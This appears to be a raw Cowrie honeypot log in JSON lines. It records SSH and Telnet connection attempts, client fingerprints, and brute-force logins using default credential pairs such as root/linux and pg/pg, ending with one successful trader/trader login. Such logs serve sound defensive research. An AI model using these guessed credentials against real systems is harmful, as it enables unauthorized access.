{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33746,"dst_ip":"10.17.0.5","dst_port":23,"session":"3af7fb51b95e","protocol":"telnet","message":"New connection: 152.42.224.71:33746 (10.17.0.5:23) [session: 3af7fb51b95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:17.757552Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47410,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db95f82487a","protocol":"ssh","message":"New connection: 31.40.204.166:47410 (159.203.135.109:22) [session: 1db95f82487a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:17.903500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:17.908922Z","src_ip":"31.40.204.166","session":"1db95f82487a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52380,"dst_ip":"10.17.0.5","dst_port":23,"session":"45020550b7f1","protocol":"telnet","message":"New connection: 152.42.224.71:52380 (10.17.0.5:23) [session: 45020550b7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:17.963069Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:18.030690Z","src_ip":"31.40.204.166","session":"1db95f82487a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:18.429482Z","src_ip":"31.40.204.166","session":"1db95f82487a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.46915912628174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:18.987146Z","src_ip":"152.42.224.71","session":"75457fce9c71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:19.606237Z","src_ip":"31.40.204.166","session":"1db95f82487a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.3688588142395,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:21.027834Z","src_ip":"152.42.224.71","session":"c20e2f4fc62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33758,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f8f06f561f","protocol":"telnet","message":"New connection: 152.42.224.71:33758 (10.17.0.5:23) [session: 55f8f06f561f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:23.153742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:24.173998Z","src_ip":"47.237.167.49","session":"e1b3de555a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:24.402832Z","src_ip":"47.237.167.49","session":"e1b3de555a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.818756341934204,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:24.460048Z","src_ip":"152.42.224.71","session":"15b5032883fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38036,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4ed29db8974","protocol":"ssh","message":"New connection: 31.40.204.166:38036 (159.203.135.109:22) [session: a4ed29db8974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:29.185586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:29.190676Z","src_ip":"31.40.204.166","session":"a4ed29db8974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:29.318108Z","src_ip":"31.40.204.166","session":"a4ed29db8974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:29.921523Z","src_ip":"31.40.204.166","session":"a4ed29db8974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.96547269821167,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:30.096822Z","src_ip":"152.42.224.71","session":"559779a379a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:31.096714Z","src_ip":"31.40.204.166","session":"a4ed29db8974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59724,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82feeacac02","protocol":"telnet","message":"New connection: 152.42.224.71:59724 (10.17.0.5:23) [session: a82feeacac02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:32.987419Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59734,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a11cc82954a","protocol":"telnet","message":"New connection: 152.42.224.71:59734 (10.17.0.5:23) [session: 0a11cc82954a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:35.125831Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59334,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6e61ed5668c","protocol":"telnet","message":"New connection: 152.42.224.71:59334 (10.17.0.5:23) [session: e6e61ed5668c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:36.314615Z"}
{"eventid":"cowrie.session.closed","duration":104.64690232276917,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:36.845209Z","src_ip":"152.42.224.71","session":"d4880868d512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.58792543411255,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:38.393500Z","src_ip":"152.42.224.71","session":"05d67679a5a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.53135108947754,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:39.709114Z","src_ip":"152.42.224.71","session":"2c4f7d9ce3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43948,"dst_ip":"159.203.135.109","dst_port":22,"session":"63febb1cb0a8","protocol":"ssh","message":"New connection: 31.40.204.166:43948 (159.203.135.109:22) [session: 63febb1cb0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:40.885595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:40.914230Z","src_ip":"31.40.204.166","session":"63febb1cb0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.172013998031616,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:40.943458Z","src_ip":"152.42.224.71","session":"103fbe3125dc","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:41.017584Z","src_ip":"31.40.204.166","session":"63febb1cb0a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:41.822724Z","src_ip":"31.40.204.166","session":"63febb1cb0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:42.993731Z","src_ip":"31.40.204.166","session":"63febb1cb0a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59350,"dst_ip":"10.17.0.5","dst_port":23,"session":"c244621e698e","protocol":"telnet","message":"New connection: 152.42.224.71:59350 (10.17.0.5:23) [session: c244621e698e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:44.329663Z"}
{"eventid":"cowrie.session.closed","duration":36.71830081939697,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:46.186662Z","src_ip":"152.42.224.71","session":"003846021daa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.21060752868652,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:48.561744Z","src_ip":"152.42.224.71","session":"4b9f8dca4783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47486,"dst_ip":"10.17.0.5","dst_port":23,"session":"7357e5a1d6ee","protocol":"telnet","message":"New connection: 152.42.224.71:47486 (10.17.0.5:23) [session: 7357e5a1d6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:48.946862Z"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:49.660707Z","src_ip":"47.237.167.49","session":"e1b3de555a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.32388687133789,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:49.765053Z","src_ip":"152.42.224.71","session":"54b880885e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.34170198440552,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:50.880967Z","src_ip":"152.42.224.71","session":"45cda8c46864","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33036,"dst_ip":"159.203.135.109","dst_port":22,"session":"f28628ebbd6c","protocol":"ssh","message":"New connection: 31.40.204.166:33036 (159.203.135.109:22) [session: f28628ebbd6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:52.980485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:52.984930Z","src_ip":"31.40.204.166","session":"f28628ebbd6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:53.111254Z","src_ip":"31.40.204.166","session":"f28628ebbd6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:53.584701Z","src_ip":"31.40.204.166","session":"f28628ebbd6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:54.715706Z","src_ip":"31.40.204.166","session":"f28628ebbd6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48290,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3eeed62cf06","protocol":"telnet","message":"New connection: 152.42.224.71:48290 (10.17.0.5:23) [session: b3eeed62cf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:56.057780Z"}
{"eventid":"cowrie.session.closed","duration":113.86794137954712,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:56.092598Z","src_ip":"152.42.224.71","session":"bb5885ed4a7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"66.8","message":"Connection lost after 66.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:57.083584Z","src_ip":"47.237.167.49","session":"e1b3de555a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48304,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd5d83c8a174","protocol":"telnet","message":"New connection: 152.42.224.71:48304 (10.17.0.5:23) [session: dd5d83c8a174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:57.818407Z"}
{"eventid":"cowrie.session.closed","duration":36.55559587478638,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:18:59.709233Z","src_ip":"152.42.224.71","session":"55f8f06f561f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48308,"dst_ip":"10.17.0.5","dst_port":23,"session":"aec4cd580736","protocol":"telnet","message":"New connection: 152.42.224.71:48308 (10.17.0.5:23) [session: aec4cd580736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:00.778756Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":34676,"dst_ip":"159.203.135.109","dst_port":22,"session":"b287392335ad","protocol":"ssh","message":"New connection: 47.237.167.49:34676 (159.203.135.109:22) [session: b287392335ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:03.742619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:03.756210Z","src_ip":"47.237.167.49","session":"b287392335ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:03.997809Z","src_ip":"47.237.167.49","session":"b287392335ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38458,"dst_ip":"159.203.135.109","dst_port":22,"session":"d07fb90311ce","protocol":"ssh","message":"New connection: 31.40.204.166:38458 (159.203.135.109:22) [session: d07fb90311ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:04.585897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:04.600417Z","src_ip":"31.40.204.166","session":"d07fb90311ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:04.715689Z","src_ip":"47.237.167.49","session":"b287392335ad","protocol":"ssh"}
